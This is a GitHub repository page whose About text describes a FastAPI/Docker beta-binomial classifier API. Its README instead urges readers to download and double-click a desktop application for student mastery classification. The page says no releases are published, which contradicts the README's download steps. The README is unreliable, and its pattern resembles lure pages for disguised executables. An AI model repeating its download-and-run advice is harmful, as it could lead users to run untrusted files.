Skip to content

πŸ“Š Build and deploy a beta-binomial classifier API using FastAPI and Docker for scalable machine learning solutions with best engineering practices.

License

Notifications You must be signed in to change notification settings

riadh565/beta-binomial-classifier-api

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ“ beta-binomial-classifier-api - Classify Student Mastery Levels Easily

πŸš€ Getting Started

Welcome to the beta-binomial-classifier-api! This application helps you classify student mastery levelsβ€”Attempted, Familiar, and Proficientβ€”using advanced statistical models. You can use it to understand students' progress in real-time.

πŸ“₯ Download the App

Download Now

πŸ’‘ Key Features

  • Easy Classification: Quickly categorize student mastery levels.
  • Bayesian Insights: Benefit from robust statistical methods for reliable results.
  • User-Friendly Interface: Designed for anyone to use, without technical skills.
  • Uncertainty Quantification: Understand not just what students know but how confident we are in that knowledge.

πŸ“‹ System Requirements

To run the beta-binomial-classifier-api, your computer should meet the following requirements:

  • Operating System: Windows, macOS, or Linux
  • RAM: Minimum 4 GB
  • Storage: At least 500 MB free space
  • Internet Connection: Required for model updates and data access

πŸ—οΈ Installation Steps

  1. Visit the Releases page to find the latest download options.
  2. Choose the version suitable for your operating system.
  3. Click on the version link to start downloading the file.

πŸ”§ Running the Application

Once downloaded, follow these steps to get started:

  1. Locate the downloaded file in your computer's Downloads folder.
  2. Double-click the file to run it. Follow any on-screen instructions.
  3. Once the application opens, you can begin classifying student data.

πŸ“Š How to Use

  1. Input Data: Start by entering student results into the application. You can input scores or any other relevant information.
  2. Choose Model: The app uses Bayesian Beta-Binomial models. You can select the model based on your needs.
  3. Run Classification: Click the "Classify" button to analyze the data.
  4. View Results: The application will display the mastery levels for each student, along with confidence scores.

πŸ“š Support & Documentation

For further instructions on specific features, please check the documentation available on our Documentation Page.

πŸ”„ Update the Application

To keep your version of the beta-binomial-classifier-api current, periodically check the Releases page for updates. Always download the latest version to benefit from improvements and new features.

πŸ” Troubleshooting

If you encounter issues while using the application, consider the following:

  • Make sure you are using a compatible operating system.
  • Ensure that you have enough storage space on your device.
  • Restart the application if it does not respond as expected.

For persistent issues, check our Issues Page for help from the community.

πŸ“ž Contact Us

If you have questions or feedback, feel free to reach out through our Contact Page. Your input helps us improve!

πŸ“₯ Download Again

Don't forget to download the application here if you haven't yet: Download Now.

Thank you for choosing beta-binomial-classifier-api. Empower your educational journey with effective data analysis!

About

πŸ“Š Build and deploy a beta-binomial classifier API using FastAPI and Docker for scalable machine learning solutions with best engineering practices.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages